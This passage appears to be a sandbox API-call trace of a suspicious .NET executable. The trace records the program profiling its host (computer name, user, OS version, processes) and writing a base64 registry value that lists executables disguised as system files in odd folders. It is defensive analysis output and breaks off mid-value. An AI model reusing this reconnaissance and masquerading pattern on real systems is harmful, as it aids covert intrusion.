returned 0x2 [0114.915] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e828 | out: phkResult=0x1b78e828*=0x29c) returned 0x0 [0114.916] RegQueryValueExW (in: hKey=0x29c, lpValueName="UseHttpPipeliningAndBufferPooling", lpReserved=0x0, lpType=0x1b78e868, lpData=0x0, lpcbData=0x1b78e860*=0x0 | out: lpType=0x1b78e868*=0x0, lpData=0x0, lpcbData=0x1b78e860*=0x0) returned 0x2 [0114.916] RegCloseKey (hKey=0x29c) returned 0x0 [0114.917] GetCurrentProcessId () returned 0xe60 [0114.917] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe60) returned 0x29c [0114.917] EnumProcessModules (in: hProcess=0x29c, lphModule=0x2763f90, cb=0x200, lpcbNeeded=0x1b78e850 | out: lphModule=0x2763f90, lpcbNeeded=0x1b78e850) returned 1 [0114.918] GetModuleInformation (in: hProcess=0x29c, hModule=0x11c0000, lpmodinfo=0x2764200, cb=0x18 | out: lpmodinfo=0x2764200*(lpBaseOfDll=0x11c0000, SizeOfImage=0xd6000, EntryPoint=0x128d67e)) returned 1 [0114.919] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.919] GetModuleBaseNameW (in: hProcess=0x29c, hModule=0x11c0000, lpBaseName=0x1a9a2300, nSize=0x800 | out: lpBaseName="chainsavesref.exe") returned 0x11 [0114.919] CoTaskMemFree (pv=0x1a9a2300) [0114.919] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.919] GetModuleFileNameExW (in: hProcess=0x29c, hModule=0x11c0000, lpFilename=0x1a9a2300, nSize=0x800 | out: lpFilename="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe")) returned 0x2d [0114.919] CoTaskMemFree (pv=0x1a9a2300) [0114.919] CloseHandle (hObject=0x29c) returned 1 [0114.920] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1b78e370, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0114.920] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseSafeSynchronousClose", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e828 | out: phkResult=0x1b78e828*=0x0) returned 0x2 [0114.920] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e828 | out: phkResult=0x1b78e828*=0x29c) returned 0x0 [0114.921] RegQueryValueExW (in: hKey=0x29c, lpValueName="UseSafeSynchronousClose", lpReserved=0x0, lpType=0x1b78e868, lpData=0x0, lpcbData=0x1b78e860*=0x0 | out: lpType=0x1b78e868*=0x0, lpData=0x0, lpcbData=0x1b78e860*=0x0) returned 0x2 [0114.921] RegCloseKey (hKey=0x29c) returned 0x0 [0114.921] GetCurrentProcessId () returned 0xe60 [0114.921] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe60) returned 0x29c [0114.921] EnumProcessModules (in: hProcess=0x29c, lphModule=0x2766e30, cb=0x200, lpcbNeeded=0x1b78e850 | out: lphModule=0x2766e30, lpcbNeeded=0x1b78e850) returned 1 [0114.922] GetModuleInformation (in: hProcess=0x29c, hModule=0x11c0000, lpmodinfo=0x27670a0, cb=0x18 | out: lpmodinfo=0x27670a0*(lpBaseOfDll=0x11c0000, SizeOfImage=0xd6000, EntryPoint=0x128d67e)) returned 1 [0114.922] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.922] GetModuleBaseNameW (in: hProcess=0x29c, hModule=0x11c0000, lpBaseName=0x1a9a2300, nSize=0x800 | out: lpBaseName="chainsavesref.exe") returned 0x11 [0114.923] CoTaskMemFree (pv=0x1a9a2300) [0114.923] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.923] GetModuleFileNameExW (in: hProcess=0x29c, hModule=0x11c0000, lpFilename=0x1a9a2300, nSize=0x800 | out: lpFilename="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe")) returned 0x2d [0114.923] CoTaskMemFree (pv=0x1a9a2300) [0114.923] CloseHandle (hObject=0x29c) returned 1 [0114.923] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1b78e370, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0114.924] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e828 | out: phkResult=0x1b78e828*=0x0) returned 0x2 [0114.924] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e828 | out: phkResult=0x1b78e828*=0x29c) returned 0x0 [0114.924] RegQueryValueExW (in: hKey=0x29c, lpValueName="UseStrictRfcInterimResponseHandling", lpReserved=0x0, lpType=0x1b78e868, lpData=0x0, lpcbData=0x1b78e860*=0x0 | out: lpType=0x1b78e868*=0x0, lpData=0x0, lpcbData=0x1b78e860*=0x0) returned 0x2 [0114.924] RegCloseKey (hKey=0x29c) returned 0x0 [0114.925] GetCurrentProcessId () returned 0xe60 [0114.925] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe60) returned 0x29c [0114.925] EnumProcessModules (in: hProcess=0x29c, lphModule=0x2769cb0, cb=0x200, lpcbNeeded=0x1b78e850 | out: lphModule=0x2769cb0, lpcbNeeded=0x1b78e850) returned 1 [0114.926] GetModuleInformation (in: hProcess=0x29c, hModule=0x11c0000, lpmodinfo=0x2769f20, cb=0x18 | out: lpmodinfo=0x2769f20*(lpBaseOfDll=0x11c0000, SizeOfImage=0xd6000, EntryPoint=0x128d67e)) returned 1 [0114.926] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.926] GetModuleBaseNameW (in: hProcess=0x29c, hModule=0x11c0000, lpBaseName=0x1a9a2300, nSize=0x800 | out: lpBaseName="chainsavesref.exe") returned 0x11 [0114.927] CoTaskMemFree (pv=0x1a9a2300) [0114.927] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.927] GetModuleFileNameExW (in: hProcess=0x29c, hModule=0x11c0000, lpFilename=0x1a9a2300, nSize=0x800 | out: lpFilename="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe")) returned 0x2d [0114.927] CoTaskMemFree (pv=0x1a9a2300) [0114.927] CloseHandle (hObject=0x29c) returned 1 [0114.927] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1b78e370, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0114.928] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.AllowDangerousUnicodeDecompositions", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e828 | out: phkResult=0x1b78e828*=0x0) returned 0x2 [0114.928] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e828 | out: phkResult=0x1b78e828*=0x29c) returned 0x0 [0114.928] RegQueryValueExW (in: hKey=0x29c, lpValueName="AllowDangerousUnicodeDecompositions", lpReserved=0x0, lpType=0x1b78e868, lpData=0x0, lpcbData=0x1b78e860*=0x0 | out: lpType=0x1b78e868*=0x0, lpData=0x0, lpcbData=0x1b78e860*=0x0) returned 0x2 [0114.928] RegCloseKey (hKey=0x29c) returned 0x0 [0114.929] GetCurrentProcessId () returned 0xe60 [0114.929] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe60) returned 0x29c [0114.929] EnumProcessModules (in: hProcess=0x29c, lphModule=0x276cac8, cb=0x200, lpcbNeeded=0x1b78e850 | out: lphModule=0x276cac8, lpcbNeeded=0x1b78e850) returned 1 [0114.930] GetModuleInformation (in: hProcess=0x29c, hModule=0x11c0000, lpmodinfo=0x276cd38, cb=0x18 | out: lpmodinfo=0x276cd38*(lpBaseOfDll=0x11c0000, SizeOfImage=0xd6000, EntryPoint=0x128d67e)) returned 1 [0114.930] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.930] GetModuleBaseNameW (in: hProcess=0x29c, hModule=0x11c0000, lpBaseName=0x1a9a2300, nSize=0x800 | out: lpBaseName="chainsavesref.exe") returned 0x11 [0114.930] CoTaskMemFree (pv=0x1a9a2300) [0114.931] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.931] GetModuleFileNameExW (in: hProcess=0x29c, hModule=0x11c0000, lpFilename=0x1a9a2300, nSize=0x800 | out: lpFilename="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe")) returned 0x2d [0114.931] CoTaskMemFree (pv=0x1a9a2300) [0114.931] CloseHandle (hObject=0x29c) returned 1 [0114.931] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1b78e370, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0114.932] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.UseStrictIPv6AddressParsing", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e828 | out: phkResult=0x1b78e828*=0x0) returned 0x2 [0114.932] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e828 | out: phkResult=0x1b78e828*=0x29c) returned 0x0 [0114.932] RegQueryValueExW (in: hKey=0x29c, lpValueName="UseStrictIPv6AddressParsing", lpReserved=0x0, lpType=0x1b78e868, lpData=0x0, lpcbData=0x1b78e860*=0x0 | out: lpType=0x1b78e868*=0x0, lpData=0x0, lpcbData=0x1b78e860*=0x0) returned 0x2 [0114.932] RegCloseKey (hKey=0x29c) returned 0x0 [0114.933] GetCurrentProcessId () returned 0xe60 [0114.933] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe60) returned 0x29c [0114.933] EnumProcessModules (in: hProcess=0x29c, lphModule=0x276f8b0, cb=0x200, lpcbNeeded=0x1b78e850 | out: lphModule=0x276f8b0, lpcbNeeded=0x1b78e850) returned 1 [0114.934] GetModuleInformation (in: hProcess=0x29c, hModule=0x11c0000, lpmodinfo=0x276fb20, cb=0x18 | out: lpmodinfo=0x276fb20*(lpBaseOfDll=0x11c0000, SizeOfImage=0xd6000, EntryPoint=0x128d67e)) returned 1 [0114.935] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.935] GetModuleBaseNameW (in: hProcess=0x29c, hModule=0x11c0000, lpBaseName=0x1a9a2300, nSize=0x800 | out: lpBaseName="chainsavesref.exe") returned 0x11 [0114.935] CoTaskMemFree (pv=0x1a9a2300) [0114.935] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.935] GetModuleFileNameExW (in: hProcess=0x29c, hModule=0x11c0000, lpFilename=0x1a9a2300, nSize=0x800 | out: lpFilename="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe")) returned 0x2d [0114.935] CoTaskMemFree (pv=0x1a9a2300) [0114.935] CloseHandle (hObject=0x29c) returned 1 [0114.936] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1b78e370, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0114.936] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.AllowAllUriEncodingExpansion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e828 | out: phkResult=0x1b78e828*=0x0) returned 0x2 [0114.937] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e828 | out: phkResult=0x1b78e828*=0x29c) returned 0x0 [0114.937] RegQueryValueExW (in: hKey=0x29c, lpValueName="AllowAllUriEncodingExpansion", lpReserved=0x0, lpType=0x1b78e868, lpData=0x0, lpcbData=0x1b78e860*=0x0 | out: lpType=0x1b78e868*=0x0, lpData=0x0, lpcbData=0x1b78e860*=0x0) returned 0x2 [0114.937] RegCloseKey (hKey=0x29c) returned 0x0 [0114.938] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e818 | out: phkResult=0x1b78e818*=0x29c) returned 0x0 [0114.938] RegQueryValueExW (in: hKey=0x29c, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1b78e858, lpData=0x0, lpcbData=0x1b78e850*=0x0 | out: lpType=0x1b78e858*=0x0, lpData=0x0, lpcbData=0x1b78e850*=0x0) returned 0x2 [0114.938] RegCloseKey (hKey=0x29c) returned 0x0 [0114.939] GetCurrentProcessId () returned 0xe60 [0114.939] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe60) returned 0x29c [0114.939] EnumProcessModules (in: hProcess=0x29c, lphModule=0x2772a90, cb=0x200, lpcbNeeded=0x1b78e840 | out: lphModule=0x2772a90, lpcbNeeded=0x1b78e840) returned 1 [0114.940] GetModuleInformation (in: hProcess=0x29c, hModule=0x11c0000, lpmodinfo=0x2772d00, cb=0x18 | out: lpmodinfo=0x2772d00*(lpBaseOfDll=0x11c0000, SizeOfImage=0xd6000, EntryPoint=0x128d67e)) returned 1 [0114.940] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.940] GetModuleBaseNameW (in: hProcess=0x29c, hModule=0x11c0000, lpBaseName=0x1a9a2300, nSize=0x800 | out: lpBaseName="chainsavesref.exe") returned 0x11 [0114.940] CoTaskMemFree (pv=0x1a9a2300) [0114.940] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.940] GetModuleFileNameExW (in: hProcess=0x29c, hModule=0x11c0000, lpFilename=0x1a9a2300, nSize=0x800 | out: lpFilename="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe")) returned 0x2d [0114.941] CoTaskMemFree (pv=0x1a9a2300) [0114.941] CloseHandle (hObject=0x29c) returned 1 [0114.941] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1b78e360, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0114.941] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SchSendAuxRecord", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e818 | out: phkResult=0x1b78e818*=0x0) returned 0x2 [0114.942] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e818 | out: phkResult=0x1b78e818*=0x29c) returned 0x0 [0114.942] RegQueryValueExW (in: hKey=0x29c, lpValueName="SchSendAuxRecord", lpReserved=0x0, lpType=0x1b78e858, lpData=0x0, lpcbData=0x1b78e850*=0x0 | out: lpType=0x1b78e858*=0x0, lpData=0x0, lpcbData=0x1b78e850*=0x0) returned 0x2 [0114.942] RegCloseKey (hKey=0x29c) returned 0x0 [0114.943] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e818 | out: phkResult=0x1b78e818*=0x29c) returned 0x0 [0114.943] RegQueryValueExW (in: hKey=0x29c, lpValueName="SystemDefaultTlsVersions", lpReserved=0x0, lpType=0x1b78e858, lpData=0x0, lpcbData=0x1b78e850*=0x0 | out: lpType=0x1b78e858*=0x0, lpData=0x0, lpcbData=0x1b78e850*=0x0) returned 0x2 [0114.943] RegCloseKey (hKey=0x29c) returned 0x0 [0114.944] GetCurrentProcessId () returned 0xe60 [0114.944] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe60) returned 0x29c [0114.944] EnumProcessModules (in: hProcess=0x29c, lphModule=0x2775d30, cb=0x200, lpcbNeeded=0x1b78e840 | out: lphModule=0x2775d30, lpcbNeeded=0x1b78e840) returned 1 [0114.945] GetModuleInformation (in: hProcess=0x29c, hModule=0x11c0000, lpmodinfo=0x2775fa0, cb=0x18 | out: lpmodinfo=0x2775fa0*(lpBaseOfDll=0x11c0000, SizeOfImage=0xd6000, EntryPoint=0x128d67e)) returned 1 [0114.945] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.945] GetModuleBaseNameW (in: hProcess=0x29c, hModule=0x11c0000, lpBaseName=0x1a9a2300, nSize=0x800 | out: lpBaseName="chainsavesref.exe") returned 0x11 [0114.945] CoTaskMemFree (pv=0x1a9a2300) [0114.945] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.945] GetModuleFileNameExW (in: hProcess=0x29c, hModule=0x11c0000, lpFilename=0x1a9a2300, nSize=0x800 | out: lpFilename="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe")) returned 0x2d [0114.946] CoTaskMemFree (pv=0x1a9a2300) [0114.946] CloseHandle (hObject=0x29c) returned 1 [0114.946] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1b78e360, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0114.947] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.RequireCertificateEKUs", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e818 | out: phkResult=0x1b78e818*=0x0) returned 0x2 [0114.947] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e818 | out: phkResult=0x1b78e818*=0x29c) returned 0x0 [0114.947] RegQueryValueExW (in: hKey=0x29c, lpValueName="RequireCertificateEKUs", lpReserved=0x0, lpType=0x1b78e858, lpData=0x0, lpcbData=0x1b78e850*=0x0 | out: lpType=0x1b78e858*=0x0, lpData=0x0, lpcbData=0x1b78e850*=0x0) returned 0x2 [0114.947] RegCloseKey (hKey=0x29c) returned 0x0 [0115.188] CoTaskMemAlloc (cb=0x20c) returned 0x1a986860 [0115.188] GetSystemDirectoryW (in: lpBuffer=0x1a986860, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0115.189] CoTaskMemFree (pv=0x1a986860) [0115.212] GetComputerNameW (in: lpBuffer=0x1b78d0f0, nSize=0x1b78d418 | out: lpBuffer="Q9IATRKPRH", nSize=0x1b78d418) returned 1 [0115.450] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20219, phkResult=0x1b78be18 | out: phkResult=0x1b78be18*=0x29c) returned 0x0 [0115.463] RegQueryValueExW (in: hKey=0x29c, lpValueName="ProductName", lpReserved=0x0, lpType=0x1b78be68, lpData=0x0, lpcbData=0x1b78be60*=0x0 | out: lpType=0x1b78be68*=0x1, lpData=0x0, lpcbData=0x1b78be60*=0x2e) returned 0x0 [0115.464] RegQueryValueExW (in: hKey=0x29c, lpValueName="ProductName", lpReserved=0x0, lpType=0x1b78be68, lpData=0x2779a50, lpcbData=0x1b78be60*=0x2e | out: lpType=0x1b78be68*=0x1, lpData="Windows 7 Professional", lpcbData=0x1b78be60*=0x2e) returned 0x0 [0115.519] RegCloseKey (hKey=0x29c) returned 0x0 [0115.542] CoTaskMemAlloc (cb=0x20c) returned 0x1a986860 [0115.542] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x1a986860 | out: pszPath="C:\\Users\\kEecfMwgj") returned 0x0 [0115.542] CoTaskMemFree (pv=0x1a986860) [0115.542] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x105, lpBuffer=0x1b78cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0115.551] CoTaskMemAlloc (cb=0x20c) returned 0x1a986860 [0115.551] GetSystemDirectoryW (in: lpBuffer=0x1a986860, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0115.551] CoTaskMemFree (pv=0x1a986860) [0115.566] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1b78cdf0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0115.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b78d458) returned 1 [0115.572] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\", lpFreeBytesAvailableToCaller=0x1b78d4c8, lpTotalNumberOfBytes=0x1b78d4c0, lpTotalNumberOfFreeBytes=0x1b78d4b8 | out: lpFreeBytesAvailableToCaller=0x1b78d4c8, lpTotalNumberOfBytes=0x1b78d4c0, lpTotalNumberOfFreeBytes=0x1b78d4b8) returned 1 [0115.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b78d408) returned 1 [0116.721] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full", ulOptions=0x0, samDesired=0x20219, phkResult=0x1b78d158 | out: phkResult=0x1b78d158*=0x23c) returned 0x0 [0116.728] RegQueryValueExW (in: hKey=0x23c, lpValueName="Release", lpReserved=0x0, lpType=0x1b78d1a8, lpData=0x0, lpcbData=0x1b78d1a0*=0x0 | out: lpType=0x1b78d1a8*=0x4, lpData=0x0, lpcbData=0x1b78d1a0*=0x4) returned 0x0 [0116.728] RegQueryValueExW (in: hKey=0x23c, lpValueName="Release", lpReserved=0x0, lpType=0x1b78d1a8, lpData=0x1b78d188, lpcbData=0x1b78d1a0*=0x4 | out: lpType=0x1b78d1a8*=0x4, lpData=0x1b78d188*=0x80eb1, lpcbData=0x1b78d1a0*=0x4) returned 0x0 [0116.729] RegQueryValueExW (in: hKey=0x23c, lpValueName="Release", lpReserved=0x0, lpType=0x1b78d1a8, lpData=0x0, lpcbData=0x1b78d1a0*=0x0 | out: lpType=0x1b78d1a8*=0x4, lpData=0x0, lpcbData=0x1b78d1a0*=0x4) returned 0x0 [0116.729] RegQueryValueExW (in: hKey=0x23c, lpValueName="Release", lpReserved=0x0, lpType=0x1b78d1a8, lpData=0x1b78d188, lpcbData=0x1b78d1a0*=0x4 | out: lpType=0x1b78d1a8*=0x4, lpData=0x1b78d188*=0x80eb1, lpcbData=0x1b78d1a0*=0x4) returned 0x0 [0116.734] RegCloseKey (hKey=0x23c) returned 0x0 [0116.775] GetComputerNameW (in: lpBuffer=0x1b78e610, nSize=0x1b78e938 | out: lpBuffer="Q9IATRKPRH", nSize=0x1b78e938) returned 1 [0116.791] GetUserNameW (in: lpBuffer=0x1b78e630, pcbBuffer=0x1b78e958 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1b78e958) returned 1 [0117.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x126b1a50, Length=0x20000, ResultLength=0x1b78d5e0 | out: SystemInformation=0x126b1a50, ResultLength=0x1b78d5e0*=0x12698) returned 0x0 [0117.434] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\0d92ca00b4a11c", nBufferLength=0x105, lpBuffer=0x1b78e350, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\0d92ca00b4a11c", lpFilePart=0x0) returned 0x2a [0117.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b78e568) returned 1 [0117.434] GetFileAttributesExW (in: lpFileName="C:\\comproviderRuntimecommon\\0d92ca00b4a11c" (normalized: "c:\\comproviderruntimecommon\\0d92ca00b4a11c"), fInfoLevelId=0x0, lpFileInformation=0x1b78e890 | out: lpFileInformation=0x1b78e890*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b78e518) returned 1 [0165.499] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\caa6004a855dece65e49fdcfb42785d36f42888b", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b78dfb8 | out: phkResult=0x1b78dfb8*=0x0) returned 0x2 [0165.500] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\caa6004a855dece65e49fdcfb42785d36f42888b", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x1b78e010, lpdwDisposition=0x1b78e0f8 | out: phkResult=0x1b78e010*=0x2d0, lpdwDisposition=0x1b78e0f8*=0x1) returned 0x0 [0165.723] RegQueryValueExW (in: hKey=0x2d0, lpValueName="437b07143d558f8f987cd92e573298e152164cb4", lpReserved=0x0, lpType=0x1b78e0b8, lpData=0x0, lpcbData=0x1b78e0b0*=0x0 | out: lpType=0x1b78e0b8*=0x0, lpData=0x0, lpcbData=0x1b78e0b0*=0x0) returned 0x2 [0165.723] RegSetValueExW (in: hKey=0x2d0, lpValueName="437b07143d558f8f987cd92e573298e152164cb4", Reserved=0x0, dwType=0x1, lpData="WyJDOlxcY29tcHJvdmlkZXJSdW50aW1lY29tbW9uXFxjaGFpbnNhdmVzcmVmLmV4ZSIsIkM6XFxjb21wcm92aWRlclJ1bnRpbWVjb21tb25cXHdoYXRldmVyX29ubHkuZXhlIiwiQzpcXFByb2dyYW0gRmlsZXNcXFJlZmVyZW5jZSBBc3NlbWJsaWVzXFxNaWNyb3NvZnRcXEZyYW1ld29ya1xcdjMuMFxcUmVkaXN0TGlzdFxcc3Bjd2luLmV4ZSIsIkM6XFxCb290XFxydS1SVVxcYnV0IGluc2lkZSBzYXZlLmV4ZSIsIkM6XFxCb290XFxlcy1FU1xcSWRsZS5leGUiLCJDOlxcQm9vdFxccGwtUExcXG9wZXJhbWFpbC5leGUiLCJDOlxcUmVjb3ZlcnlcXGQzMjdkNWMyLTcxNDctMTFlYi05ODYyLWQ3MzFjNWFhYTdhOVxcZXhwbG9yZXIuZXhlIiwiQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXE1pY3Jvc29mdCBPbmVEcml2ZVxcb21uaXBvcy5leGUiLCJDOlxcUHJvZ3JhbSBGaWxlc1xcUmVmZXJlbmNlIEFzc2VtYmxpZXNcXHRhc2tob3N0LmV4ZSIsIkM6XFxSZWNvdmVyeVxcZDMyN2Q1YzItNzE0Ny0xMWViLTk4NjItZDczMWM1YWFhN2E5XFxhYnNvbHV0ZXRlbG5ldC5leGUiLCJDOlxcUmVjb3ZlcnlcXGQzMjdkNWMyLTcxNDctMTFlYi05ODYyLWQ3MzFjNWFhYTdhOVxcc2VydmljZXMuZXhlIiwiQzpcXFVzZXJzXFxEZWZhdWx0XFxSZWNlbnRcXGlleHBsb3JlLmV4ZSIsIkM6XFxXaW5kb3dzXFxTeXNXT1c2NFxcd2lucm1cXDA0MDlcXGZwb3MuZXhlIiwiQzpcXGNvbXByb3ZpZGVyUnVudGltZWNvbW1vblxcYnV0IGluc2lkZSBzYXZlLmV4ZSIsIkM6XFxVc2Vyc1xcRGVmYXVsdFxcc3Bvb2xzdi5leGUiLCJDOlxcUHJvZ3JhbSBGaWxlc1xcV2luZG93cyBOVFxcQWNjZXNzb3JpZXNcXGVuLVVTXFx5YXJkYWR1bHRi